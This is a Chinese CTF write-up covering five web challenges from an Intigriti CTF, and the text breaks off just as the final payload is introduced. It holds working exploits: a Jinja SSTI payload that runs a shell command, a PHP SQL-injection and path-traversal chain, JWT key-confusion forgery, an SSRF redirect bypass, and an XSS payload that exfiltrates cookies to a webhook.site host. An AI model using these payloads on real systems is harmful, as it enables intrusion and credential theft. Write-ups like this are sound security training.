21 分鐘閱讀

yet another CTF writeups ;)

Intro

由於常參加Intigriti每個月的XSS challenge,所以從XSS challenge學到不少。於是這次也報著同樣的期待參加了由Intigriti舉辦的CTF。

這次我總共解了5題web和4題pwn,以下紀錄比賽時我的解法與學到的東西。

Quiz (web)

Overview

這題沒有source code,但由於網站功能很少,所以很容易看出重點。

首先可以看到這個網站有幾個類似選擇題的東西,選對了可以拿到10分,一個connect.sid只有3次機會,但get flag的條件是100分。

而送出答案的request長這樣:

POST /submitAnswer HTTP/2
Host: quiz.ctf.intigriti.io
Cookie: INGRESSCOOKIE=1647029701.734.3451.583039|df18c7a37b01201195c3bf2ff6aa23c8; connect.sid=s%3AQ3O_vl_xMPCzfMiMtlMwU_KFjlGPH0sd.eYmuztHaRJDfwnmNSgEIpzCAQstEFal%2B8o%2BD3Zfh0ZY
Content-Length: 39
Sec-Ch-Ua: " Not;A Brand";v="99", "Microsoft Edge";v="97", "Chromium";v="97"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Edg/97.0.1072.76
Sec-Ch-Ua-Platform: "macOS"
Content-Type: application/json
Accept: */*
Origin: https://quiz.ctf.intigriti.io
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://quiz.ctf.intigriti.io/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

{"questionNumber":1,"answer":"monthly"}

然後response有3種: 答對+10分、答錯、已經回答過了。

Solution

直接利用Burp Suite的Intruder功能,把剛剛的request放進去,設定傳送200個request,並將Resource Pool的Maximum concurrent requests設定20,按下Start Attack之後,就可以發現有20個request同時拿到了+10分的response,確認一下分數:

HTTP/2 200 OK
Date: Sun, 13 Mar 2022 02:13:31 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 55
X-Powered-By: Express
Access-Control-Allow-Origin: *
Etag: W/"37-HFNBVD+RoSfccbmNeWUg3v2eG2Y"

{"id":265,"points":200,"q1":true,"q2":false,"q3":false}

可以發現我們雖然只答對1題,但分數已經來到200分了!

所以就get flag了: 1337UP{this_is_a_secret_flag}

Dead Tube (web)

Overview

這題總共有兩個功能: preview和flag

Preview:

app.post("/preview", async (req, res) => {
    const { link } = req.body;
    if(!link || typeof link !== "string") {
        return res.send("Missing link");
    }

    let url;
    try {
        url = new URL(link);
    }
    catch(err) {
        return res.send("Invalid url");
    }

    if(!["http:", "https:"].includes(url.protocol)) {
        return res.send("Invalid url");
    }

    let dnsLookup;
    try {
        dnsLookup = await dnsp.lookup(url.hostname, 4);
    }
    catch(err) {
        return res.send("Could not resolve url");
    }

    console.log(dnsLookup);
    let { address } = dnsLookup;
    if(isIpPrivate(address)) {
        return res.send("You are not allowed to view this url");
    }

    try {
        let fetchReq = await fetch(link);
        fetchReq.body.pipe(res);
    }
    catch(err) {
        res.send("There was an error previewing your url");
    }
});

flag:

app.get("/flag", (req, res) => {
    console.log(req.socket.remoteAddress);
    if(req.socket.remoteAddress === "::ffff:127.0.0.1") {
        return res.send(process.env.FLAG || "flag{test_flag}");
    }
    res.send("No flag for you!");
});

可以看到preview的功能是: dnslookup確認不是private ip之後,就會fetch你給的url,再回傳fetch的result

而flag功能是: 如果remoteAddress是local的話,就回傳flag

Solution

水題,由於他確認的方式是用dnslookup,只要簡單的用redirect就能繞過了,於是用flask寫個簡易的redirect功能再傳給preview:

POST /preview HTTP/2
Host: deadtube.ctf.intigriti.io
Cookie: INGRESSCOOKIE=1647026322.808.3204.277190|13f1eb5feb6802f249588f40c454cb40
Content-Length: 91
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: " Not;A Brand";v="99", "Microsoft Edge";v="97", "Chromium";v="97"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Edg/97.0.1072.76
Origin: https://deadtube.ctf.intigriti.io
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://deadtube.ctf.intigriti.io/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
X-Forwarded-For: 127.0.0.1

link=http%3a%2f%2f5e38-111-248-74-24.ngrok.io%2f%3fu%3dhttp%3a%2f%2f127.0.0.1%3a8080%2fflag

response:

HTTP/2 200 OK
Date: Fri, 11 Mar 2022 20:08:04 GMT
X-Powered-By: Express

1337UP{SSRF_AINT_GOT_NOTHING_ON_M3}

flag: 1337UP{SSRF_AINT_GOT_NOTHING_ON_M3}

1 truth, 2 lies (web)

Overview

這題的source code很無聊,故意把route弄的很醜,這裡提供整理過後,關鍵部分的source code:

from flask import Flask, request, render_template_string, render_template

app = Flask(__name__)

###################
# trash
###################

@app.route("long_trash")
def WH4TSG01NG0N():
    BRRRRR_RUNNING = request.args.get("input", None)
    if BRRRRR_RUNNING is None:
        return "BRRRRR_RUNNING"
    else:
        for _ in BRRRRR_RUNNING:
            if any(x in BRRRRR_RUNNING for x in {'.', '_', '|join', '[', ']', 'mro', 'base'}):
                return "caught"
            else:
                return render_template_string("Your input: " + BRRRRR_RUNNING)

###################
# trash
###################

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5555, debug=True)

Solution

老梗的SSTI,black list用|attr和escape string就能繞過了:

payload:

{{g|attr('pop')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('sys')|attr('modules')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('cat f*')|attr('read')()}}

response:

HTTP/2 200 OK
Date: Fri, 11 Mar 2022 16:50:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 67

Your input: flag{1ea5n_h0w_vu1n_h1ppen_and_wh1t_l1ne_m1ke_vu1n!!!}

PHorrifyingP (web)

Overview

source code (flag redacted):

<?php
/*
    <flag> ➡➡➡ ⛳🏁 ⬅⬅⬅ <flag>
*/
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
    extract($_POST);

    if (isset($_POST['password']) && md5($_POST['password']) == 'put hash here!'){
        $loggedin = true;
    }

    if (md5($_SERVER['REMOTE_ADDR']) != '92d3fd4057d07f38474331ab231e1f0d'){
        header('Location: ' . $_SERVER['REQUEST_URI']);
    }

    if (isset($loggedin) && $loggedin){
        echo 'One step closer 😎<br>';

        if (isset($_GET['action']) && md5($_GET['action']) == $_GET['action']){
            echo 'Really? 😅<br>';

            $db = new SQLite3('database.db');
            $sql_where = Array('1=0');

            foreach ($_POST as $key => $data) {
                $sql_where[] = $db->escapeString($key) . "='" . $db->escapeString($data) . "'";
            }

            $result = $db->querySingle('SELECT login FROM users WHERE ' . implode(' AND ', $sql_where));

            if ($result == 'admin'){
                echo 'Last step 🤣<br>';

                readfile(file_get_contents('php://input'));
            }
        }
    }
}
?>

<html lang="en">
    <head>
        <title>PHorrifyingP</title>
        <style>
            body {
                background-color: #000;
            }
            h1 {
                font-size: 8vw;
                font-family: 'Nosifer', cursive;
                padding: 2rem;
                color: #900d0d;
                text-shadow: 0 0 5px #fff, 0 0 10px #fff, 0 0 15px #d92027, 0 0 20px #d92027, 0 0 25px #d92027, 0 0 30px #d92027, 0 0 55px #d92027;
                animation: glow 1s ease-in-out infinite alternate;
                text-align: center;
            }
            @keyframes glow {
                from {
                    text-shadow: 0 0 5px #fff, 0 0 10px #fff, 0 0 15px #d92027, 0 0 20px #d92027, 0 0 25px #d92027, 0 0 30px #d92027, 0 0 55px #d92027;
                }
                to {
                    text-shadow: 0 0 10px #fff, 0 0 20px #fff, 0 0 40px #d92027, 0 0 40px #d92027, 0 0 50px #d92027, 0 0 70px #d92027, 0 0 90px #d92027;
                }
            }
            p {
                max-width: 50%;
                margin: auto;
            }
        </style>
    </head>
    <body>
        <link href="https://fonts.googleapis.com/css2?family=Nosifer&display=swap" rel="stylesheet">
        <h1>PHorrifyingP</h1>
        <p>
            <?php
                $source = highlight_file(__FILE__, true);
                $source = explode('&lt;flag&gt;', $source);
                $source[1] = ' ➡➡➡ ⛳🏁 ⬅⬅⬅ ';
                $source = implode('&lt;flag&gt;', $source);
                echo $source;
            ?>
        </p>
    </body>
</html>

Solution

第1關是要isset($loggedin) && $loggedin,這時可以看到:

if (isset($_POST['password']) && md5($_POST['password']) == 'put hash here!'){
        $loggedin = true;
}

md5($_POST['password']是不可能和'put hash here!'相等的,這時可以注意到:extract($_POST);,這段code會把$_POST中的key作為變數名稱,並用key所對應value進行賦值,所以只要post的時候加入一個loggedin=1,就能順利通過檢查了

第2關是isset($_GET['action']) && md5($_GET['action']) == $_GET['action']

這個部分老梗了,直接google magic hash就能輕鬆找到一堆0e開頭而且md5之後還是0e的字,只要透過弱比較繞過就可以了。於是:

POST /?action=0e215962017 HTTP/2

就能順利通過第2關了

第3關是$result == 'admin',而result要怎麼樣才會是admin呢?

可以看到$_POST的每個key和value都會通過escapeString處理之後放進SQL語句:

$db = new SQLite3('database.db');
$sql_where = Array('1=0');

foreach ($_POST as $key => $data) {
    $sql_where[] = $db->escapeString($key) . "='" . $db->escapeString($data) . "'";
}

$result = $db->querySingle('SELECT login FROM users WHERE ' . implode(' AND ', $sql_where));

但實際上escapeString的功能弱到不行,只會對空格還有單引號做處理,所以若post的內容長這樣: "&loggedin=1&"or(1)order/**/by/**/1--,SQL的語句會長這樣:

SELECT login FROM users WHERE 1=0 AND "='' AND loggedin='1' AND "or(1)order/**/by/**/1--=''

可以發現雙引號之間的東西會全部被包起來,--之後的東西會被丟掉,所以雙引號和--之間我們就能很輕鬆的塞SQL的語句

又因為order by 1的時候資料庫裡有admin這個東西,所以第一筆資料剛好就是a開頭的admin,於是不需要union select這一關就可以通過了。

最後一關是readfile(file_get_contents('php://input'));,由於傳入readfile的路徑都會normalize,我們只需要在--後放上一堆../就可以在不影響SQLi運作的情況下構造合法的路徑了。

完整的request:

POST /?action=0e215962017 HTTP/2
Host: phorrifyingp.ctf.intigriti.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

"&loggedin=1&"or(1)order/**/by/**/1--/../../../../../../../../../../../var/www/html/index.php

response:

HTTP/2 302 Found
Date: Sun, 13 Mar 2022 03:15:44 GMT
Content-Type: text/html; charset=UTF-8
Set-Cookie: INGRESSCOOKIE=1647141345.47.13470.172637|8392188e806a29b08800709df834e21e; Path=/; Secure; HttpOnly
X-Powered-By: PHP/7.1.8
Location: /?action=0e215962017

One step closer 😎<br>Really? 😅<br>Last step 🤣<br><?php
/*
    <flag>
        You made it 🤗
        -> 1337UP{PHP_SCARES_ME_IT_HAUNTS_ME_WHEN_I_SLEEP_ALL_I_CAN_SEE_IS_PHP_PLEASE_SOMEONE_HELP_ME} <-
    <flag>
    ...
    ...
    trash
    ...
    ...

flag: 1337UP{PHP_SCARES_ME_IT_HAUNTS_ME_WHEN_I_SLEEP_ALL_I_CAN_SEE_IS_PHP_PLEASE_SOMEONE_HELP_ME}

Contact Alex (web)

這題是這次web最好玩的一題,不guessy,且讓我學到不少

(不愧是來自UCB的Dicegang成員:Strellic出的題目!)

Overview

server的source code:

const express = require("express");
const jwt = require("jwt-simple");
const crypto = require("crypto");

const app = express();

// Alex only likes Chrome. All FireFox users should get out of here!

const PORT = process.env.PORT || 8080;

const { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 4096 });
const pub = publicKey.export({ type: "pkcs1", format: "pem" });
const priv = privateKey.export({ type: "pkcs1", format: "pem" });

const bot = require("./bot.js");

app.set("view engine", "hbs");

app.use(express.static("public"));
app.use(express.urlencoded({ extended: false }));
app.use(require("cookie-parser")());

app.use((req, res, next) => {
    if(!req.cookies.auth) {
        let username = crypto.randomBytes(8).toString("hex");
        let cookie = jwt.encode({ username }, priv, "RS256");
        req.cookies.auth = cookie;
        res.cookie("auth", cookie);
    }

    try {
        let auth = jwt.decode(req.cookies.auth, pub);
        res.locals.username = auth.username;
    }
    catch(err) {
        res.clearCookie("auth");
        return res.redirect("/?message=Invalid token");
    }

    let nonce = crypto.randomBytes(16).toString("hex");
    res.setHeader("Content-Security-Policy", `
        default-src 'self';
        img-src 'self' data:;
        style-src 'nonce-${nonce}';
        font-src https://fonts.googleapis.com/ https://fonts.gstatic.com/;
        object-src 'none';
        base-uri 'none';
        script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/;
    `.trim().replace(/\s+/g, " "));
    res.locals.nonce = nonce;
    next();
});

const isUser = (user) => (req, res, next) => res.locals.username === user ? next() : res.redirect("/");

app.get("/home", isUser("Alex"), (req, res) => {
    res.render("home");
});

app.post("/home", isUser("Alex"), (req, res) => {
    let { message } = req.body;
    if(!message || typeof message !== "string") {
        return res.redirect("/home?message=Missing message");
    }

    // no XSS
    message = message.replace(/"/g, "&quot;");
    message = message.replace(/</g, "&lt;");
    message = message.replace(/>/g, "&gt;");

    // convert images and links
    message = message.replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`);
    message = message.replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`);

    return res.render("home", { message });
});

app.post("/report", isUser("Alex"), (req, res) => {
    let { message } = req.body;
    if(!message || typeof message !== "string") {
        return res.redirect("/home?message=Missing message");
    }

    bot.visit(message, jwt.encode({ username: "Alex" }, priv, "RS256"));
    return res.redirect("/home?message=The admin will look at your message now");
});

app.get("/", (req, res) => {
    if(res.locals.username === "Alex") {
        return res.redirect("/home");
    }
    res.render("login");
});

app.listen(PORT, () => console.log(`listening on port ${PORT}`));

admin bot:

const puppeteer = require("puppeteer");

const SITE = process.env.SITE || "http://localhost:8080";

const visit = async (message, jwt) => {
    let browser;
    try {
        browser = await puppeteer.launch({
            headless: true,
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--js-flags=--noexpose_wasm,--jitless",
            ],
            dumpio: true
        });

        let page = await browser.newPage();
        await page.setCookie({
            name: 'auth',
            value: jwt,
            domain: new URL(SITE).host
        });
        await page.setCookie({
            name: 'flag',
            value: process.env.FLAG || "flag{test_flag}",
            domain: new URL(SITE).host
        });

        await page.goto(SITE + "/home", { waitUntil: 'networkidle2' });

        await page.evaluate((message) => {
            document.querySelector("textarea").value = message;
            document.querySelector("#submit-btn").click();  
        }, message);

        await page.waitForTimeout(6000);

        await browser.close();
        browser = null;
    } catch (err) {
        console.log(err);
    } finally {
        if (browser) await browser.close();
    }
};

module.exports = { visit };

首先可以看到server使用jwt來做auth的驗證,且使用RS256作為產生jwt的alg

在驗證jwt的username為”Alex”之後,才可以使用/home/report的功能

Solution

第一關是要偽造一個username為Alex的jwt,但要怎麼偽造呢?

可以發現server在decode jwt時使用的是:

let auth = jwt.decode(req.cookies.auth, pub);
res.locals.username = auth.username;

由於jwt.decode時沒有指定alg,所以若req.cookies.auth的alg用的是HS256的話,預設會將pub做為HS256的key來decode!

但這有什麼幫助呢?

根據RSA的特性,我們是有可能從兩個不同,但使用相同private key的RS256 jwt推出public key的!

也就是說,我們可以通過使用HS256和我們反推出來的public key進行encode來偽造任意jwt!

反推public key的部分,已經有人寫出了工具,我們可以直接使用這個來反推public key

$ python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjgxYmJhMmI3NWQ0YTU1ZmIifQ.R0xuBKP_o3uuWKS2OG8nmWrOUm6x2F6ySVNJrbdMUel95ppiEA4y6E5IBSyBacOoeaNtZ37cAULHHqbXkwDu5PGRxIV3JLjsr7IqjcyY9Y0_K_p5SKN_Gxcieyc2YvsIZXverVB1XHjaBMv4DQqJ2ZCt38rf2Y1AdJxS_KSMGUnE9WHOfMledJr542nWVJS7oZhdmUgiccWr0fxKUpl7OuFoMf5c1P2IiT3w-Sv7o5fOobVbLYtq0GQ0HkcYruzMfLY0WVD-vaIpzpg77clfwqbR4PdBkiGz9m0x1ipburOLT-J1016ewXSxMyOT5jFaJYV9PmolifwP4fMmDN5IOJrdU_PVexskClibZnnzBx2HUXngy6Osa5MMGISLQxRaVa0rWyRANGsSorFHT2zYrUJkjPa9Bxh4FRqR_gJYrq3VNhLaZ6I54OwTxn6y8etfzYrWzQtMv-G8x7D16vRkNzNniKiOFMALiY14qd4X2VQq7_c3gVyK-hFujpoa7dBpt3vaWTHEFw5Oip-ySM_ycOTOvsNQQkGyWHw1rqhqv8oVrrUdAsG9u_d_HaYD9HcwAs7P5sBPth9Qhdqa0eu8HhRBxzDfVAppBt3-cOtUSZ4az3fb7DW2wcrapQ2IIB4s0anjaodIAdxsl8Hv281VIMBneN0fTn0RuWv5Q9yPO4c eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Ijg4YzZiNDE0M2RiZWJkMjAifQ.cOC2emZnj8y_DO6auzkOVm2zFJoHtkppWM_5VDiPZX2npa9FKd12KwVh7b264L1fSjHiASux9t9kJ9uORqUH7t7AWaCjTzvXQuAKQmuZmapBdmtrnMBo6Kq152L5__8uMlt9JmrUAcDklB7t1XI3r8kxiE2z3wsaqTRglwDzrSHslx7HA6af0VDsODO1wBedNB6POv2jXMmMW6kDfvf6CAe-tVGrYqqir11Qbjnld1B32ncuBZ_3xpS5VimX12VYvMsIZOgFhe2RddKybx_PzUUzBfX2NfnPUu-VtsvxncjXzj7CDk_1TrTlzuzfR2rzGXpNxdoHsuXVLIRiGrkLoMwYzzaIA5lVVYMVm8doVS5h9hb6B_zK7VSGs7wH80MFFKDx_Ur23S03KPkdJEjs4gmQsPdkoFzlZ5j9CAdsRLIx00jwXNIbhtpCKIe9B4TTHu5Zu4WZ7bBKD6XfwrqO-wkGNxaOWCX-H4U5IpvuDkKb86DltfYpeuMEzY22GSYuyRJugcE8SlWgaABLC98vDgkGrqdzlwivPe0iTPHTaiaXLHCn_TxRx7R099HlPnwxnPLi9-9f-Y60PKF8EfyAzKPORMhCeNUjCDU5GpZCqhdhnzZDvpZtLzP9dC6ZtKR1x8Cu4dpOGDA3LIwir4z8Lqf9JgEUyQWOCSYYTMZdd6c
[*] GCD:  0x1
[*] GCD:  0xf054f49a9c43b8efe0d9ef70f2f6a9ec346e25c354c062513ed660c410551707de9e8d6b022f956b575a8c03c64bbc0122c25cf500fade111eabc2efedf92cc4dedd035a5a78b07cd2624df9ed7fce0a98c706410eb30eb72415269f65216b8c06296ffa72c6e69f3c57f48122bdc50e9e272a085db146896f9141a200cad6dee2201a248374a523d6549ec703bb268a36fdeb414719d3dce2642b3966c2bb48ac5bc3c9dd56fd47dc56de1907b0bc234faae71f32f97c62bec79c7b26a06d5d4fc1276030b07f8651e8cc0b4930340c0fb21a9100d8741ec43b5eb1dd5b537d8d72f6825f8a7cd126454d0644de0e9f18957c9a6e2d1f6291065cf3daabb6e8e86a9a39e1cd1bfa84dc0d8ce61d9d56033e44b2992e9891f105228c92dd9d92833eff046094f230db29699fbf5ef517dcca9c11314d6437d682807bd0115d597dce803d518e3e3fb0005a005b739436bf9fde1fd9926090cc5360a60ce19dbdd910a88a13976104762b9868ec2d3775ff7ad7a8b3ef54b43476ecbc614278a46f9ba04f7a6dd846380533a227a59ceed1da7cfcc2dfe5501f7ea5ee3330b8cb0e7fa821c8007fd8eb90ef240c39466e42194580e054a8a390daa6b529b0a3ce82ba9419b431230e708a5f3182300a728cca50966c8ad37f76b7ed942c79c64d935bb16c512479b699641bb3a9479afd86c0b26e0376e3fed1d6c5e02c99d9ef
[+] Found n with multiplier 1  :
 0xf054f49a9c43b8efe0d9ef70f2f6a9ec346e25c354c062513ed660c410551707de9e8d6b022f956b575a8c03c64bbc0122c25cf500fade111eabc2efedf92cc4dedd035a5a78b07cd2624df9ed7fce0a98c706410eb30eb72415269f65216b8c06296ffa72c6e69f3c57f48122bdc50e9e272a085db146896f9141a200cad6dee2201a248374a523d6549ec703bb268a36fdeb414719d3dce2642b3966c2bb48ac5bc3c9dd56fd47dc56de1907b0bc234faae71f32f97c62bec79c7b26a06d5d4fc1276030b07f8651e8cc0b4930340c0fb21a9100d8741ec43b5eb1dd5b537d8d72f6825f8a7cd126454d0644de0e9f18957c9a6e2d1f6291065cf3daabb6e8e86a9a39e1cd1bfa84dc0d8ce61d9d56033e44b2992e9891f105228c92dd9d92833eff046094f230db29699fbf5ef517dcca9c11314d6437d682807bd0115d597dce803d518e3e3fb0005a005b739436bf9fde1fd9926090cc5360a60ce19dbdd910a88a13976104762b9868ec2d3775ff7ad7a8b3ef54b43476ecbc614278a46f9ba04f7a6dd846380533a227a59ceed1da7cfcc2dfe5501f7ea5ee3330b8cb0e7fa821c8007fd8eb90ef240c39466e42194580e054a8a390daa6b529b0a3ce82ba9419b431230e708a5f3182300a728cca50966c8ad37f76b7ed942c79c64d935bb16c512479b699641bb3a9479afd86c0b26e0376e3fed1d6c5e02c99d9ef
[+] Written to f054f49a9c43b8ef_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICI4MWJiYTJiNzVkNGE1NWZiIiwgImV4cCI6IDE2NDcxNDk1ODJ9.H3tU0apxX9hOfqvCwL06Y2O2kserQFflVkpCJeVI5tg'
[+] Written to f054f49a9c43b8ef_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICI4MWJiYTJiNzVkNGE1NWZiIiwgImV4cCI6IDE2NDcxNDk1ODJ9.4fyBL1da5J54fj7pP4dieoLu_tIsl4BH7vshHGMGX9s'
================================================================================
Here are your JWT's once again for your copypasting pleasure
================================================================================
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICI4MWJiYTJiNzVkNGE1NWZiIiwgImV4cCI6IDE2NDcxNDk1ODJ9.H3tU0apxX9hOfqvCwL06Y2O2kserQFflVkpCJeVI5tg
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICI4MWJiYTJiNzVkNGE1NWZiIiwgImV4cCI6IDE2NDcxNDk1ODJ9.4fyBL1da5J54fj7pP4dieoLu_tIsl4BH7vshHGMGX9s

這時再搭配上另一個jwt的工具重新簽一個username為Alex的jwt:

$ python /tmp/jwt_tool/jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkFsZXgiLCJleHAiOjE2NDcxNDk1ODJ9. -T -X k -pk f054f49a9c43b8ef_65537_pkcs1.pem
        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.5                \______|             @ticarpi

Original JWT:


====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================

Token header values:
[1] typ = "JWT"
[2] alg = "HS256"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] username = "Alex"
[2] exp = 1647149582    ==> TIMESTAMP = 2022-03-13 13:33:02 (UTC)
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[5] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0
File loaded: f054f49a9c43b8ef_65537_pkcs1.pem
jwttool_a2902fd47f1c0f7d5d24747b3b100b1f - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkFsZXgiLCJleHAiOjE2NDcxNDk1ODJ9.ODc40kVbR6LacfjJNGrarO1809ZsYB5uRLCAAqbzNf0

這時我們將這組jwt:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkFsZXgiLCJleHAiOjE2NDcxNDk1ODJ9.ODc40kVbR6LacfjJNGrarO1809ZsYB5uRLCAAqbzNf0

作為cookie的auth,就能發現我們順利通過auth的驗證了!

接下來是XSS的部分,首先先看到過濾的方式:

// no XSS
message = message.replace(/"/g, "&quot;");
message = message.replace(/</g, "&lt;");
message = message.replace(/>/g, "&gt;");

// convert images and links
message = message.replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`);
message = message.replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`);

可以看到<">都會被過濾掉,但是在過濾之後它又做了兩件事:先是將帶有.(png|jpg|gif)的url放進iframe,再把沒有.(png|jpg|gif)的url放進a

但這會產生一個問題:有沒有可能同一個url重複被replace呢? 答案是有的

"http://.pnghttp://AAAA".replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`).replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`)

可以看到上面這段javascript的結果是:

<iframe src="http://.png<a href="http://AAAA"></iframe>">http://AAAA"></iframe></a>

可以發現http://AAAA"跳脫出了雙引號!

且因為//的效果等價空格,所以AAAA的部分可以作為iframe的其中一個attribute!

於是當我們使用srcdoc:

document.write("http://.pnghttp://srcdoc=aaaaaa".replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`).replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`))

可以看到上面的javascript執行完後,aaaaa成功的被放進srcdoc了!

若是要將<tag>aaaa</tag>放進srcdoc,只需要將<tag>aaaa</tag>用HTML encode就可以了!

e.g.

document.write("http://.pnghttp://srcdoc=&#x3c;&#x68;&#x31;&#x3e;&#x61;&#x61;&#x61;&#x61;&#x61;&#x61;&#x3c;&#x2f;&#x68;&#x31;&#x3e;".replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`).replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`))

接下來,我們就剩最後一個步驟,那就是繞過CSP。

這題的CSP為:

Content-Security-Policy: default-src 'self'; img-src 'self' data:; style-src 'nonce-01003dcc855cc89dcb46c75ac110c2b8'; font-src https://fonts.googleapis.com/ https://fonts.gstatic.com/; object-src 'none'; base-uri 'none'; script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/;

可以注意到,script-src規定只有'self'和來自

https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/

的script可以被執行

那要怎麼繞過這個看似嚴格的CSP呢?

可以發現cdnjs.cloudflare.com的server在處理url得時候,會將路徑中的%2f nomarlize成/,也就是說:

https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/..%2f../angular.js/1.4.5/angular.min.js

實際上會指向:

https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.5/angular.min.js

所以只要使用

https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/..%2f../angular.js/1.4.5/angular.min.js

,就能繞過CSP,引用angular.js!

這時,我們只需利用angular.js的script gadget,就能XSS了!

以下我使用在PortSwigger上看到的angular.js的payload來達成:

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/..%2f../angular.js/1.4.5/angular.min.js"></script>
<body ng-app ng-csp>
    <input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([top.location=\'https://webhook.site/25b55e24-84ed-4130-8cb0-203a29e65680/?f=\'+document.cookie], alert)'">
</body>

完整payload:

